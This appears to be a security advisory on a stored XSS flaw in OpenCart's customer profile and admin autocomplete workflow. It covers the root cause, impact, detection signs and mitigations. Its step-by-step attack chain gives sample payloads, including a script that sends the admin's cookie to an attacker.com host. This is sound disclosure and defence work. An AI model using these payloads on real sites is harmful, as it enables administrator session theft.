CVE-2026-84438: 
OpenCart vulnerability analysis and mitigation

CVE-2026-84438 is a stored cross-site scripting (XSS) vulnerability in OpenCart versions 4.1.0.3 and 4.1.0.4, affecting the catalog/controller/account/edit.php file within the Autocomplete Workflow component. An authenticated low-privileged customer can inject malicious HTML/JavaScript via the firstname parameter in their account profile, which is later executed in an administrator's browser during backend order or return management workflows. The vulnerability was disclosed on September 2, 2026; the vendor did not respond to early disclosure attempts. It carries a CVSS v3.1 base score of 3.5 (Low) and a CVSS v4.0 base score of 2.0 (Low) (GitHub Advisory, VulDB).

The root cause is improper neutralization of user-controlled input before it is rendered in web pages (CWE-79), compounded by unsafe HTML decoding in the admin backend (CWE-94). The vulnerable data flow begins when a customer updates their profile via catalog/controller/account/edit.php, persisting attacker-controlled values (e.g., firstname) into the oc_customer database table via catalog/model/account/customer.php. The admin backend customer autocomplete endpoint (admin/controller/customer/customer.php:1517) passes the stored name through html_entity_decode(..., ENT_QUOTES, ...), and the result is then injected into the DOM using JavaScript's .html() method or raw string concatenation in admin/view/javascript/common.js and Twig templates (sale/order_info.twig, sale/returns_form.twig). This decode-then-inject pattern bypasses entity encoding protections and allows stored payloads to execute in the administrator's browser. A public PoC is available (PoC Write-up).

Successful exploitation allows a low-privileged customer to execute arbitrary JavaScript in an administrator's browser when the admin interacts with order creation, order editing, or return management workflows. Practical consequences include administrator session hijacking, credential theft, and unauthorized admin-side actions such as modifying orders or customer data. Confidentiality impact is limited (no direct data exfiltration from the server), but integrity is affected through unauthorized DOM manipulation and potential admin account compromise (GitHub Advisory, PoC Write-up).

A public proof-of-concept has been disclosed by researcher Leousum on GitHub, demonstrating the full attack chain (PoC Write-up). There is no current evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.19% (9th percentile), indicating a low near-term exploitation probability (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and exploitation requires an authenticated customer account plus an administrator to interact with the affected backend workflow.

1. Create or access a customer account: Register or log in as a normal front-office customer on the target OpenCart 4.1.0.3/4.1.0.4 instance.
2. Inject XSS payload into profile: Navigate to the account profile edit page and set the firstname field to a malicious payload such as <iframe onload=alert(1)> or a more targeted payload for session theft (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Submit the profile update: The payload is stored in the oc_customer database table via catalog/controller/account/edit.php and catalog/model/account/customer.php.
4. Wait for admin interaction: The payload triggers when an administrator opens an order creation/edit page (/admin/index.php?route=sale/order.info) or a return management workflow and searches for or selects the attacker's customer account via the autocomplete feature.
5. Payload execution: The admin backend retrieves the stored name, applies html_entity_decode(), and injects it into the DOM via .html() in common.js or Twig templates — executing the attacker's JavaScript in the administrator's browser context.
6. Achieve objective: The executed script can steal the admin session cookie, perform actions on behalf of the admin, or exfiltrate sensitive data (PoC Write-up).

• Logs: Web server access logs showing POST requests to /index.php?route=account/edit with unusual or encoded values in the firstname or lastname parameters; admin access logs showing requests to /admin/index.php?route=sale/order.info or /admin/index.php?route=sale/return shortly before or after suspicious customer autocomplete API calls.
• Database: Entries in the oc_customer table where firstname or lastname fields contain HTML tags, JavaScript, or encoded script content (e.g., <script>, <iframe>, onerror=, onload=).
• Network: Outbound requests from the administrator's browser to unexpected external domains following admin interaction with order/return workflows; potential exfiltration of session cookies to attacker-controlled endpoints.
• Browser/Application: Unexpected JavaScript alerts, redirects, or DOM modifications observed in the admin panel during customer selection in order or return workflows (PoC Write-up).

No official vendor patch has been released as of the disclosure date, and the vendor did not respond to the researcher's disclosure. The GitHub Advisory notes patched versions as unknown (GitHub Advisory). Recommended mitigations include: (1) applying strict server-side input validation and output encoding for the firstname and lastname fields in catalog/controller/account/edit.php; (2) removing or replacing the html_entity_decode() call in the admin autocomplete endpoint with safe encoding; (3) replacing .html() DOM injection with .text() in admin/view/javascript/common.js; (4) implementing a Content Security Policy (CSP) header to limit script execution; and (5) monitoring admin workflows for suspicious customer name values until an official patch is available.